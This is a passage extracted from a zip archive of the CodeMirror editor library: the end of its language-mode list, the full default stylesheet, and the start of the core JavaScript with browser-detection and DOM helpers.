Ruby",mime:"application/x-erb",mode:"htmlembedded",ext:["erb"]},{name:"Erlang",mime:"text/x-erlang",mode:"erlang",ext:["erl"]},{name:"Esper",mime:"text/x-esper",mode:"sql"},{name:"Factor",mime:"text/x-factor",mode:"factor",ext:["factor"]},{name:"FCL",mime:"text/x-fcl",mode:"fcl"},{name:"Forth",mime:"text/x-forth",mode:"forth",ext:["forth","fth","4th"]},{name:"Fortran",mime:"text/x-fortran",mode:"fortran",ext:["f","for","f77","f90","f95"]},{name:"F#",mime:"text/x-fsharp",mode:"mllike",ext:["fs"],alias:["fsharp"]},{name:"Gas",mime:"text/x-gas",mode:"gas",ext:["s"]},{name:"Gherkin",mime:"text/x-feature",mode:"gherkin",ext:["feature"]},{name:"GitHub
Flavored
Markdown",mime:"text/x-gfm",mode:"gfm",file:/^(readme|contributing|history).md$/i},{name:"Go",mime:"text/x-go",mode:"go",ext:["go"]},{name:"Groovy",mime:"text/x-groovy",mode:"groovy",ext:["groovy","gradle"],file:/^Jenkinsfile$/},{name:"HAML",mime:"text/x-haml",mode:"haml",ext:["haml"]},{name:"Haskell",mime:"text/x-haskell",mode:"haskell",ext:["hs"]},{name:"Haskell
(Literate)",mime:"text/x-literate-haskell",mode:"haskell-literate",ext:["lhs"]},{name:"Haxe",mime:"text/x-haxe",mode:"haxe",ext:["hx"]},{name:"HXML",mime:"text/x-hxml",mode:"haxe",ext:["hxml"]},{name:"ASP.NET",mime:"application/x-aspx",mode:"htmlembedded",ext:["aspx"],alias:["asp","aspx"]},{name:"HTML",mime:"text/html",mode:"htmlmixed",ext:["html","htm","handlebars","hbs"],alias:["xhtml"]},{name:"HTTP",mime:"message/http",mode:"http"},{name:"IDL",mime:"text/x-idl",mode:"idl",ext:["pro"]},{name:"Pug",mime:"text/x-pug",mode:"pug",ext:["jade","pug"],alias:["jade"]},{name:"Java",mime:"text/x-java",mode:"clike",ext:["java"]},{name:"Java
Server
Pages",mime:"application/x-jsp",mode:"htmlembedded",ext:["jsp"],alias:["jsp"]},{name:"JavaScript",mimes:["text/javascript","text/ecmascript","application/javascript","application/x-javascript","application/ecmascript"],mode:"javascript",ext:["js"],alias:["ecmascript","js","node"]},{name:"JSON",mimes:["application/json","application/x-json"],mode:"javascript",ext:["json","map"],alias:["json5"]},{name:"JSON-LD",mime:"application/ld+json",mode:"javascript",ext:["jsonld"],alias:["jsonld"]},{name:"JSX",mime:"text/jsx",mode:"jsx",ext:["jsx"]},{name:"Jinja2",mime:"text/jinja2",mode:"jinja2",ext:["j2","jinja","jinja2"]},{name:"Julia",mime:"text/x-julia",mode:"julia",ext:["jl"]},{name:"Kotlin",mime:"text/x-kotlin",mode:"clike",ext:["kt"]},{name:"LESS",mime:"text/x-less",mode:"css",ext:["less"]},{name:"LiveScript",mime:"text/x-livescript",mode:"livescript",ext:["ls"],alias:["ls"]},{name:"Lua",mime:"text/x-lua",mode:"lua",ext:["lua"]},{name:"Markdown",mime:"text/x-markdown",mode:"markdown",ext:["markdown","md","mkd"]},{name:"mIRC",mime:"text/mirc",mode:"mirc"},{name:"MariaDB
SQL",mime:"text/x-mariadb",mode:"sql"},{name:"Mathematica",mime:"text/x-mathematica",mode:"mathematica",ext:["m","nb","wl","wls"]},{name:"Modelica",mime:"text/x-modelica",mode:"modelica",ext:["mo"]},{name:"MUMPS",mime:"text/x-mumps",mode:"mumps",ext:["mps"]},{name:"MS
SQL",mime:"text/x-mssql",mode:"sql"},{name:"mbox",mime:"application/mbox",mode:"mbox",ext:["mbox"]},{name:"MySQL",mime:"text/x-mysql",mode:"sql"},{name:"Nginx",mime:"text/x-nginx-conf",mode:"nginx",file:/nginx.*\.conf$/i},{name:"NSIS",mime:"text/x-nsis",mode:"nsis",ext:["nsh","nsi"]},{name:"NTriples",mimes:["application/n-triples","application/n-quads","text/n-triples"],mode:"ntriples",ext:["nt","nq"]},{name:"Objective-C",mime:"text/x-objectivec",mode:"clike",ext:["m"],alias:["objective-c","objc"]},{name:"Objective-C++",mime:"text/x-objectivec++",mode:"clike",ext:["mm"],alias:["objective-c++","objc++"]},{name:"OCaml",mime:"text/x-ocaml",mode:"mllike",ext:["ml","mli","mll","mly"]},{name:"Octave",mime:"text/x-octave",mode:"octave",ext:["m"]},{name:"Oz",mime:"text/x-oz",mode:"oz",ext:["oz"]},{name:"Pascal",mime:"text/x-pascal",mode:"pascal",ext:["p","pas"]},{name:"PEG.js",mime:"null",mode:"pegjs",ext:["jsonld"]},{name:"Perl",mime:"text/x-perl",mode:"perl",ext:["pl","pm"]},{name:"PHP",mimes:["text/x-php","application/x-httpd-php","application/x-httpd-php-open"],mode:"php",ext:["php","php3","php4","php5","php7","phtml"]},{name:"Pig",mime:"text/x-pig",mode:"pig",ext:["pig"]},{name:"Plain
Text",mime:"text/plain",mode:"null",ext:["txt","text","conf","def","list","log"]},{name:"PLSQL",mime:"text/x-plsql",mode:"sql",ext:["pls"]},{name:"PostgreSQL",mime:"text/x-pgsql",mode:"sql"},{name:"PowerShell",mime:"application/x-powershell",mode:"powershell",ext:["ps1","psd1","psm1"]},{name:"Properties
files",mime:"text/x-properties",mode:"properties",ext:["properties","ini","in"],alias:["ini","properties"]},{name:"ProtoBuf",mime:"text/x-protobuf",mode:"protobuf",ext:["proto"]},{name:"Python",mime:"text/x-python",mode:"python",ext:["BUILD","bzl","py","pyw"],file:/^(BUCK|BUILD)$/},{name:"Puppet",mime:"text/x-puppet",mode:"puppet",ext:["pp"]},{name:"Q",mime:"text/x-q",mode:"q",ext:["q"]},{name:"R",mime:"text/x-rsrc",mode:"r",ext:["r","R"],alias:["rscript"]},{name:"reStructuredText",mime:"text/x-rst",mode:"rst",ext:["rst"],alias:["rst"]},{name:"RPM
Changes",mime:"text/x-rpm-changes",mode:"rpm"},{name:"RPM
Spec",mime:"text/x-rpm-spec",mode:"rpm",ext:["spec"]},{name:"Ruby",mime:"text/x-ruby",mode:"ruby",ext:["rb"],alias:["jruby","macruby","rake","rb","rbx"]},{name:"Rust",mime:"text/x-rustsrc",mode:"rust",ext:["rs"]},{name:"SAS",mime:"text/x-sas",mode:"sas",ext:["sas"]},{name:"Sass",mime:"text/x-sass",mode:"sass",ext:["sass"]},{name:"Scala",mime:"text/x-scala",mode:"clike",ext:["scala"]},{name:"Scheme",mime:"text/x-scheme",mode:"scheme",ext:["scm","ss"]},{name:"SCSS",mime:"text/x-scss",mode:"css",ext:["scss"]},{name:"Shell",mimes:["text/x-sh","application/x-sh"],mode:"shell",ext:["sh","ksh","bash"],alias:["bash","sh","zsh"],file:/^PKGBUILD$/},{name:"Sieve",mime:"application/sieve",mode:"sieve",ext:["siv","sieve"]},{name:"Slim",mimes:["text/x-slim","application/x-slim"],mode:"slim",ext:["slim"]},{name:"Smalltalk",mime:"text/x-stsrc",mode:"smalltalk",ext:["st"]},{name:"Smarty",mime:"text/x-smarty",mode:"smarty",ext:["tpl"]},{name:"Solr",mime:"text/x-solr",mode:"solr"},{name:"SML",mime:"text/x-sml",mode:"mllike",ext:["sml","sig","fun","smackspec"]},{name:"Soy",mime:"text/x-soy",mode:"soy",ext:["soy"],alias:["closure
template"]},{name:"SPARQL",mime:"application/sparql-query",mode:"sparql",ext:["rq","sparql"],alias:["sparul"]},{name:"Spreadsheet",mime:"text/x-spreadsheet",mode:"spreadsheet",alias:["excel","formula"]},{name:"SQL",mime:"text/x-sql",mode:"sql",ext:["sql"]},{name:"SQLite",mime:"text/x-sqlite",mode:"sql"},{name:"Squirrel",mime:"text/x-squirrel",mode:"clike",ext:["nut"]},{name:"Stylus",mime:"text/x-styl",mode:"stylus",ext:["styl"]},{name:"Swift",mime:"text/x-swift",mode:"swift",ext:["swift"]},{name:"sTeX",mime:"text/x-stex",mode:"stex"},{name:"LaTeX",mime:"text/x-latex",mode:"stex",ext:["text","ltx","tex"],alias:["tex"]},{name:"SystemVerilog",mime:"text/x-systemverilog",mode:"verilog",ext:["v","sv","svh"]},{name:"Tcl",mime:"text/x-tcl",mode:"tcl",ext:["tcl"]},{name:"Textile",mime:"text/x-textile",mode:"textile",ext:["textile"]},{name:"TiddlyWiki",mime:"text/x-tiddlywiki",mode:"tiddlywiki"},{name:"Tiki
wiki",mime:"text/tiki",mode:"tiki"},{name:"TOML",mime:"text/x-toml",mode:"toml",ext:["toml"]},{name:"Tornado",mime:"text/x-tornado",mode:"tornado"},{name:"troff",mime:"text/troff",mode:"troff",ext:["1","2","3","4","5","6","7","8","9"]},{name:"TTCN",mime:"text/x-ttcn",mode:"ttcn",ext:["ttcn","ttcn3","ttcnpp"]},{name:"TTCN_CFG",mime:"text/x-ttcn-cfg",mode:"ttcn-cfg",ext:["cfg"]},{name:"Turtle",mime:"text/turtle",mode:"turtle",ext:["ttl"]},{name:"TypeScript",mime:"application/typescript",mode:"javascript",ext:["ts"],alias:["ts"]},{name:"TypeScript-JSX",mime:"text/typescript-jsx",mode:"jsx",ext:["tsx"],alias:["tsx"]},{name:"Twig",mime:"text/x-twig",mode:"twig"},{name:"Web
IDL",mime:"text/x-webidl",mode:"webidl",ext:["webidl"]},{name:"VB.NET",mime:"text/x-vb",mode:"vb",ext:["vb"]},{name:"VBScript",mime:"text/vbscript",mode:"vbscript",ext:["vbs"]},{name:"Velocity",mime:"text/velocity",mode:"velocity",ext:["vtl"]},{name:"Verilog",mime:"text/x-verilog",mode:"verilog",ext:["v"]},{name:"VHDL",mime:"text/x-vhdl",mode:"vhdl",ext:["vhd","vhdl"]},{name:"Vue.js
Component",mimes:["script/x-vue","text/x-vue"],mode:"vue",ext:["vue"]},{name:"XML",mimes:["application/xml","text/xml"],mode:"xml",ext:["xml","xsl","xsd","svg"],alias:["rss","wsdl","xsd"]},{name:"XQuery",mime:"application/xquery",mode:"xquery",ext:["xy","xquery"]},{name:"Yacas",mime:"text/x-yacas",mode:"yacas",ext:["ys"]},{name:"YAML",mimes:["text/x-yaml","text/yaml"],mode:"yaml",ext:["yaml","yml"],alias:["yml"]},{name:"Z80",mime:"text/x-z80",mode:"z80",ext:["z80"]},{name:"mscgen",mime:"text/x-mscgen",mode:"mscgen",ext:["mscgen","mscin","msc"]},{name:"xu",mime:"text/x-xu",mode:"mscgen",ext:["xu"]},{name:"msgenny",mime:"text/x-msgenny",mode:"mscgen",ext:["msgenny"]}];for(var
b=0;b<a.modeInfo.length;b++){var
c=a.modeInfo[b];c.mimes&&(c.mime=c.mimes[0])}a.findModeByMIME=function(b){b=b.toLowerCase();for(var
c=0;c<a.modeInfo.length;c++){var d=a.modeInfo[c];if(d.mime==b)return
d;if(d.mimes)for(var e=0;e<d.mimes.length;e++)if(d.mimes[e]==b)return
d}return/\+xml$/.test(b)?a.findModeByMIME("application/xml"):/\+json$/.test(b)?a.findModeByMIME("application/json"):void
0},a.findModeByExtension=function(b){b=b.toLowerCase();for(var
c=0;c<a.modeInfo.length;c++){var d=a.modeInfo[c];if(d.ext)for(var
e=0;e<d.ext.length;e++)if(d.ext[e]==b)return
d}},a.findModeByFileName=function(b){for(var
c=0;c<a.modeInfo.length;c++){var
d=a.modeInfo[c];if(d.file&&d.file.test(b))return d}var
e=b.lastIndexOf("."),f=e>-1&&b.substring(e+1,b.length);if(f)return
a.findModeByExtension(f)},a.findModeByName=function(b){b=b.toLowerCase();for(var
c=0;c<a.modeInfo.length;c++){var
d=a.modeInfo[c];if(d.name.toLowerCase()==b)return d;if(d.alias)for(var
e=0;e<d.alias.length;e++)if(d.alias[e].toLowerCase()==b)return
d}}}));PKA��[��""codemirror/lib/codemirror.cssnu�[���/*
BASICS */

.CodeMirror {
  /* Set height, width, borders, and global font properties here */
  font-family: monospace;
  height: 300px;
  color: black;
  direction: ltr;
}

/* PADDING */

.CodeMirror-lines {
  padding: 4px 0; /* Vertical padding around content */
}
.CodeMirror pre.CodeMirror-line,
.CodeMirror pre.CodeMirror-line-like {
  padding: 0 4px; /* Horizontal padding of content */
}

.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
  background-color: white; /* The little square between H and V scrollbars
*/
}

/* GUTTER */

.CodeMirror-gutters {
  border-right: 1px solid #ddd;
  background-color: #f7f7f7;
  white-space: nowrap;
}
.CodeMirror-linenumbers {}
.CodeMirror-linenumber {
  padding: 0 3px 0 5px;
  min-width: 20px;
  text-align: right;
  color: #999;
  white-space: nowrap;
}

.CodeMirror-guttermarker { color: black; }
.CodeMirror-guttermarker-subtle { color: #999; }

/* CURSOR */

.CodeMirror-cursor {
  border-left: 1px solid black;
  border-right: none;
  width: 0;
}
/* Shown when moving in bi-directional text */
.CodeMirror div.CodeMirror-secondarycursor {
  border-left: 1px solid silver;
}
.cm-fat-cursor .CodeMirror-cursor {
  width: auto;
  border: 0 !important;
  background: #7e7;
}
.cm-fat-cursor div.CodeMirror-cursors {
  z-index: 1;
}
.cm-fat-cursor-mark {
  background-color: rgba(20, 255, 20, 0.5);
  -webkit-animation: blink 1.06s steps(1) infinite;
  -moz-animation: blink 1.06s steps(1) infinite;
  animation: blink 1.06s steps(1) infinite;
}
.cm-animate-fat-cursor {
  width: auto;
  border: 0;
  -webkit-animation: blink 1.06s steps(1) infinite;
  -moz-animation: blink 1.06s steps(1) infinite;
  animation: blink 1.06s steps(1) infinite;
  background-color: #7e7;
}
@-moz-keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}
@-webkit-keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}
@keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}

/* Can style cursor different in overwrite (non-insert) mode */
.CodeMirror-overwrite .CodeMirror-cursor {}

.cm-tab { display: inline-block; text-decoration: inherit; }

.CodeMirror-rulers {
  position: absolute;
  left: 0; right: 0; top: -50px; bottom: 0;
  overflow: hidden;
}
.CodeMirror-ruler {
  border-left: 1px solid #ccc;
  top: 0; bottom: 0;
  position: absolute;
}

/* DEFAULT THEME */

.cm-s-default .cm-header {color: blue;}
.cm-s-default .cm-quote {color: #090;}
.cm-negative {color: #d44;}
.cm-positive {color: #292;}
.cm-header, .cm-strong {font-weight: bold;}
.cm-em {font-style: italic;}
.cm-link {text-decoration: underline;}
.cm-strikethrough {text-decoration: line-through;}

.cm-s-default .cm-keyword {color: #708;}
.cm-s-default .cm-atom {color: #219;}
.cm-s-default .cm-number {color: #164;}
.cm-s-default .cm-def {color: #00f;}
.cm-s-default .cm-variable,
.cm-s-default .cm-punctuation,
.cm-s-default .cm-property,
.cm-s-default .cm-operator {}
.cm-s-default .cm-variable-2 {color: #05a;}
.cm-s-default .cm-variable-3, .cm-s-default .cm-type {color: #085;}
.cm-s-default .cm-comment {color: #a50;}
.cm-s-default .cm-string {color: #a11;}
.cm-s-default .cm-string-2 {color: #f50;}
.cm-s-default .cm-meta {color: #555;}
.cm-s-default .cm-qualifier {color: #555;}
.cm-s-default .cm-builtin {color: #30a;}
.cm-s-default .cm-bracket {color: #997;}
.cm-s-default .cm-tag {color: #170;}
.cm-s-default .cm-attribute {color: #00c;}
.cm-s-default .cm-hr {color: #999;}
.cm-s-default .cm-link {color: #00c;}

.cm-s-default .cm-error {color: #f00;}
.cm-invalidchar {color: #f00;}

.CodeMirror-composing { border-bottom: 2px solid; }

/* Default styles for common addons */

div.CodeMirror span.CodeMirror-matchingbracket {color: #0b0;}
div.CodeMirror span.CodeMirror-nonmatchingbracket {color: #a22;}
.CodeMirror-matchingtag { background: rgba(255, 150, 0, .3); }
.CodeMirror-activeline-background {background: #e8f2ff;}

/* STOP */

/* The rest of this file contains styles related to the mechanics of
   the editor. You probably shouldn't touch them. */

.CodeMirror {
  position: relative;
  overflow: hidden;
  background: white;
}

.CodeMirror-scroll {
  overflow: scroll !important; /* Things will break if this is overridden
*/
  /* 50px is the magic margin used to hide the element's real
scrollbars */
  /* See overflow: hidden in .CodeMirror */
  margin-bottom: -50px; margin-right: -50px;
  padding-bottom: 50px;
  height: 100%;
  outline: none; /* Prevent dragging from highlighting the element */
  position: relative;
}
.CodeMirror-sizer {
  position: relative;
  border-right: 50px solid transparent;
}

/* The fake, visible scrollbars. Used to force redraw during scrolling
   before actual scrolling happens, thus preventing shaking and
   flickering artifacts. */
.CodeMirror-vscrollbar, .CodeMirror-hscrollbar,
.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
  position: absolute;
  z-index: 6;
  display: none;
}
.CodeMirror-vscrollbar {
  right: 0; top: 0;
  overflow-x: hidden;
  overflow-y: scroll;
}
.CodeMirror-hscrollbar {
  bottom: 0; left: 0;
  overflow-y: hidden;
  overflow-x: scroll;
}
.CodeMirror-scrollbar-filler {
  right: 0; bottom: 0;
}
.CodeMirror-gutter-filler {
  left: 0; bottom: 0;
}

.CodeMirror-gutters {
  position: absolute; left: 0; top: 0;
  min-height: 100%;
  z-index: 3;
}
.CodeMirror-gutter {
  white-space: normal;
  height: 100%;
  display: inline-block;
  vertical-align: top;
  margin-bottom: -50px;
}
.CodeMirror-gutter-wrapper {
  position: absolute;
  z-index: 4;
  background: none !important;
  border: none !important;
}
.CodeMirror-gutter-background {
  position: absolute;
  top: 0; bottom: 0;
  z-index: 4;
}
.CodeMirror-gutter-elt {
  position: absolute;
  cursor: default;
  z-index: 4;
}
.CodeMirror-gutter-wrapper ::selection { background-color: transparent }
.CodeMirror-gutter-wrapper ::-moz-selection { background-color: transparent
}

.CodeMirror-lines {
  cursor: text;
  min-height: 1px; /* prevents collapsing before first draw */
}
.CodeMirror pre.CodeMirror-line,
.CodeMirror pre.CodeMirror-line-like {
  /* Reset some styles that the rest of the page might have set */
  -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0;
  border-width: 0;
  background: transparent;
  font-family: inherit;
  font-size: inherit;
  margin: 0;
  white-space: pre;
  word-wrap: normal;
  line-height: inherit;
  color: inherit;
  z-index: 2;
  position: relative;
  overflow: visible;
  -webkit-tap-highlight-color: transparent;
  -webkit-font-variant-ligatures: contextual;
  font-variant-ligatures: contextual;
}
.CodeMirror-wrap pre.CodeMirror-line,
.CodeMirror-wrap pre.CodeMirror-line-like {
  word-wrap: break-word;
  white-space: pre-wrap;
  word-break: normal;
}

.CodeMirror-linebackground {
  position: absolute;
  left: 0; right: 0; top: 0; bottom: 0;
  z-index: 0;
}

.CodeMirror-linewidget {
  position: relative;
  z-index: 2;
  padding: 0.1px; /* Force widget margins to stay inside of the container
*/
}

.CodeMirror-widget {}

.CodeMirror-rtl pre { direction: rtl; }

.CodeMirror-code {
  outline: none;
}

/* Force content-box sizing for the elements where we expect it */
.CodeMirror-scroll,
.CodeMirror-sizer,
.CodeMirror-gutter,
.CodeMirror-gutters,
.CodeMirror-linenumber {
  -moz-box-sizing: content-box;
  box-sizing: content-box;
}

.CodeMirror-measure {
  position: absolute;
  width: 100%;
  height: 0;
  overflow: hidden;
  visibility: hidden;
}

.CodeMirror-cursor {
  position: absolute;
  pointer-events: none;
}
.CodeMirror-measure pre { position: static; }

div.CodeMirror-cursors {
  visibility: hidden;
  position: relative;
  z-index: 3;
}
div.CodeMirror-dragcursors {
  visibility: visible;
}

.CodeMirror-focused div.CodeMirror-cursors {
  visibility: visible;
}

.CodeMirror-selected { background: #d9d9d9; }
.CodeMirror-focused .CodeMirror-selected { background: #d7d4f0; }
.CodeMirror-crosshair { cursor: crosshair; }
.CodeMirror-line::selection, .CodeMirror-line > span::selection,
.CodeMirror-line > span > span::selection { background: #d7d4f0; }
.CodeMirror-line::-moz-selection, .CodeMirror-line >
span::-moz-selection, .CodeMirror-line > span > span::-moz-selection
{ background: #d7d4f0; }

.cm-searching {
  background-color: #ffa;
  background-color: rgba(255, 255, 0, .4);
}

/* Used to force a border model for a node */
.cm-force-border { padding-right: .1px; }

@media print {
  /* Hide the cursor when printing */
  .CodeMirror div.CodeMirror-cursors {
    visibility: hidden;
  }
}

/* See issue #2901 */
.cm-tab-wrap-hack:after { content: ''; }

/* Help users use markselection to safely style text background */
span.CodeMirror-selectedtext { background: none; }
PKA��[�M�7��codemirror/lib/codemirror.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// This is CodeMirror (https://codemirror.net), a code editor
// implemented in JavaScript on top of the browser's DOM.
//
// You can find some technical background for some of the code below
// at http://marijnhaverbeke.nl/blog/#cm-internals .

(function (global, factory) {
  typeof exports === 'object' && typeof module !==
'undefined' ? module.exports = factory() :
  typeof define === 'function' && define.amd ?
define(factory) :
  (global = global || self, global.CodeMirror = factory());
}(this, (function () { 'use strict';

  // Kludges for bugs and behavior differences that can't be feature
  // detected are enabled based on userAgent etc sniffing.
  var userAgent = navigator.userAgent;
  var platform = navigator.platform;

  var gecko = /gecko\/\d/i.test(userAgent);
  var ie_upto10 = /MSIE \d/.test(userAgent);
  var ie_11up = /Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(userAgent);
  var edge = /Edge\/(\d+)/.exec(userAgent);
  var ie = ie_upto10 || ie_11up || edge;
  var ie_version = ie && (ie_upto10 ? document.documentMode || 6 :
+(edge || ie_11up)[1]);
  var webkit = !edge && /WebKit\//.test(userAgent);
  var qtwebkit = webkit && /Qt\/\d+\.\d+/.test(userAgent);
  var chrome = !edge && /Chrome\//.test(userAgent);
  var presto = /Opera\//.test(userAgent);
  var safari = /Apple Computer/.test(navigator.vendor);
  var mac_geMountainLion = /Mac OS X 1\d\D([8-9]|\d\d)\D/.test(userAgent);
  var phantom = /PhantomJS/.test(userAgent);

  var ios = !edge && /AppleWebKit/.test(userAgent) &&
/Mobile\/\w+/.test(userAgent);
  var android = /Android/.test(userAgent);
  // This is woefully incomplete. Suggestions for alternative methods
welcome.
  var mobile = ios || android || /webOS|BlackBerry|Opera Mini|Opera
Mobi|IEMobile/i.test(userAgent);
  var mac = ios || /Mac/.test(platform);
  var chromeOS = /\bCrOS\b/.test(userAgent);
  var windows = /win/i.test(platform);

  var presto_version = presto &&
userAgent.match(/Version\/(\d*\.\d*)/);
  if (presto_version) { presto_version = Number(presto_version[1]); }
  if (presto_version && presto_version >= 15) { presto = false;
webkit = true; }
  // Some browsers use the wrong event properties to signal cmd/ctrl on OS
X
  var flipCtrlCmd = mac && (qtwebkit || presto &&
(presto_version == null || presto_version < 12.11));
  var captureRightClick = gecko || (ie && ie_version >= 9);

  function classTest(cls) { return new RegExp("(^|\\s)" + cls +
"(?:$|\\s)\\s*") }

  var rmClass = function(node, cls) {
    var current = node.className;
    var match = classTest(cls).exec(current);
    if (match) {
      var after = current.slice(match.index + match[0].length);
      node.className = current.slice(0, match.index) + (after ? match[1] +
after : "");
    }
  };

  function removeChildren(e) {
    for (var count = e.childNodes.length; count > 0; --count)
      { e.removeChild(e.firstChild); }
    return e
  }

  function removeChildrenAndAdd(parent, e) {
    return removeChildren(parent).appendChild(e)
  }

  function elt(tag, content, className, style) {
    var e = document.createElement(tag);
    if (className) { e.className = className; }
    if (style) { e.style.cssText = style; }
    if (typeof content == "string") {
e.appendChild(document.createTextNode(content)); }
    else if (content) { for (var i = 0; i < content.length; ++i) {
e.appendChild(content[i]); } }
    return e
  }
  // wrapper for elt, which removes the elt from the accessibility tree
  function eltP(tag, content, className, style) {
    var e = elt(tag, content, className, style);
    e.setAttribute("role", "presentation");
    return e
  }

  var range;
  if (document.createRange) { range = function(node, start, end, endNode) {
    var r = document.createRange();
    r.setEnd(endNode || node, end);
    r.setStart(node, start);
    return r
  }; }
  else { range = function(node, start, end) {
    var r = document.body.createTextRange();
    try { r.moveToElementText(node.parentNode); }
    catch(e) { return r }
    r.collapse(true);
    r.moveEnd("character", end);
    r.moveStart("character", start);
    return r
  }; }

  function contains(parent, child) {
    if (child.nodeType == 3) // Android browser always returns false when
child is a textnode
      { child = child.parentNode; }
    if (parent.contains)
      { return parent.contains(child) }
    do {
      if (child.nodeType == 11) { child = child.host; }
      if (child == parent) { return true }
    } while (child = child.parentNode)
  }

  function activeElt() {
    // IE and Edge may throw an "Unspecified Error" when
accessing document.activeElement.
    // IE < 10 will throw when accessed while the page is loading or in
an iframe.
    // IE > 9 and Edge will throw when accessed in an iframe if
document.body is unavailable.
    var activeElement;
    try {
      activeElement = document.activeElement;
    } catch(e) {
      activeElement = document.body || null;
    }
    while (activeElement && activeElement.shadowRoot &&
activeElement.shadowRoot.activeElement)
      { activeElement = activeElement.shadowRoot.activeElement; }
    return activeElement
  }

  function addClass(node, cls) {
    var current = node.className;
    if (!classTest(cls).test(current)) { node.className += (current ?
" " : "") + cls; }
  }
  function joinClasses(a, b) {
    var as = a.split(" ");
    for (var i = 0; i < as.length; i++)
      { if (as[i] && !classTest(as[i]).test(b)) { b += "
" + as[i]; } }
    return b
  }

  var selectInput = function(node) { node.select(); };
  if (ios) // Mobile Safari apparently has a bug where select() is broken.
    { selectInput = function(node) { node.selectionStart = 0;
node.selectionEnd = node.value.length; }; }
  else if (ie) // Suppress mysterious IE10 errors
    { selectInput = function(node) { try { node.select(); } catch(_e) {} };
}

  function bind(f) {
    var args = Array.prototype.slice.call(arguments, 1);
    return function(){return f.apply(null, args)}
  }

  function copyObj(obj, target, overwrite) {
    if (!target) { target = {}; }
    for (var prop in obj)
      { if (obj.hasOwnProperty(prop) && (overwrite !== false ||
!target.hasOwnProperty(prop)))
        { target[prop] = obj[prop]; } }
    return target
  }

  // Counts the column offset in a string, taking tabs into account.
  // Used mostly to find indentation.
  function countColumn(string, end, tabSize, startIndex, startValue) {
    if (end == null) {
      end = string.search(/[^\s\u00a0]/);
      if (end == -1) { end = string.length; }
    }
    for (var i = startIndex || 0, n = startValue || 0;;) {
      var nextTab = string.indexOf("\t", i);
      if (nextTab < 0 || nextTab >= end)
        { return n + (end - i) }
      n += nextTab - i;
      n += tabSize - (n % tabSize);
      i = nextTab + 1;
    }
  }

  var Delayed = function() {
    this.id = null;
    this.f = null;
    this.time = 0;
    this.handler = bind(this.onTimeout, this);
  };
  Delayed.prototype.onTimeout = function (self) {
    self.id = 0;
    if (self.time <= +new Date) {
      self.f();
    } else {
      setTimeout(self.handler, self.time - +new Date);
    }
  };
  Delayed.prototype.set = function (ms, f) {
    this.f = f;
    var time = +new Date + ms;
    if (!this.id || time < this.time) {
      clearTimeout(this.id);
      this.id = setTimeout(this.handler, ms);
      this.time = time;
    }
  };

  function indexOf(array, elt) {
    for (var i = 0; i < array.length; ++i)
      { if (array[i] == elt) { return i } }
    return -1
  }

  // Number of pixels added to scroller and sizer to hide scrollbar
  var scrollerGap = 50;

  // Returned or thrown by various protocols to signal 'I'm not
  // handling this'.
  var Pass = {toString: function(){return "CodeMirror.Pass"}};

  // Reused option objects for setSelection & friends
  var sel_dontScroll = {scroll: false}, sel_mouse = {origin:
"*mouse"}, sel_move = {origin: "+move"};

  // The inverse of countColumn -- find the offset that corresponds to
  // a particular column.
  function findColumn(string, goal, tabSize) {
    for (var pos = 0, col = 0;;) {
      var nextTab = string.indexOf("\t", pos);
      if (nextTab == -1) { nextTab = string.length; }
      var skipped = nextTab - pos;
      if (nextTab == string.length || col + skipped >= goal)
        { return pos + Math.min(skipped, goal - col) }
      col += nextTab - pos;
      col += tabSize - (col % tabSize);
      pos = nextTab + 1;
      if (col >= goal) { return pos }
    }
  }

  var spaceStrs = [""];
  function spaceStr(n) {
    while (spaceStrs.length <= n)
      { spaceStrs.push(lst(spaceStrs) + " "); }
    return spaceStrs[n]
  }

  function lst(arr) { return arr[arr.length-1] }

  function map(array, f) {
    var out = [];
    for (var i = 0; i < array.length; i++) { out[i] = f(array[i], i); }
    return out
  }

  function insertSorted(array, value, score) {
    var pos = 0, priority = score(value);
    while (pos < array.length && score(array[pos]) <=
priority) { pos++; }
    array.splice(pos, 0, value);
  }

  function nothing() {}

  function createObj(base, props) {
    var inst;
    if (Object.create) {
      inst = Object.create(base);
    } else {
      nothing.prototype = base;
      inst = new nothing();
    }
    if (props) { copyObj(props, inst); }
    return inst
  }

  var nonASCIISingleCaseWordChar =
/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;
  function isWordCharBasic(ch) {
    return /\w/.test(ch) || ch > "\x80" &&
      (ch.toUpperCase() != ch.toLowerCase() ||
nonASCIISingleCaseWordChar.test(ch))
  }
  function isWordChar(ch, helper) {
    if (!helper) { return isWordCharBasic(ch) }
    if (helper.source.indexOf("\\w") > -1 &&
isWordCharBasic(ch)) { return true }
    return helper.test(ch)
  }

  function isEmpty(obj) {
    for (var n in obj) { if (obj.hasOwnProperty(n) && obj[n]) {
return false } }
    return true
  }

  // Extending unicode characters. A series of a non-extending char +
  // any number of extending chars is treated as a single unit as far
  // as editing and measuring is concerned. This is not fully correct,
  // since some scripts/fonts/browsers also treat other configurations
  // of code points as a group.
  var extendingChars =
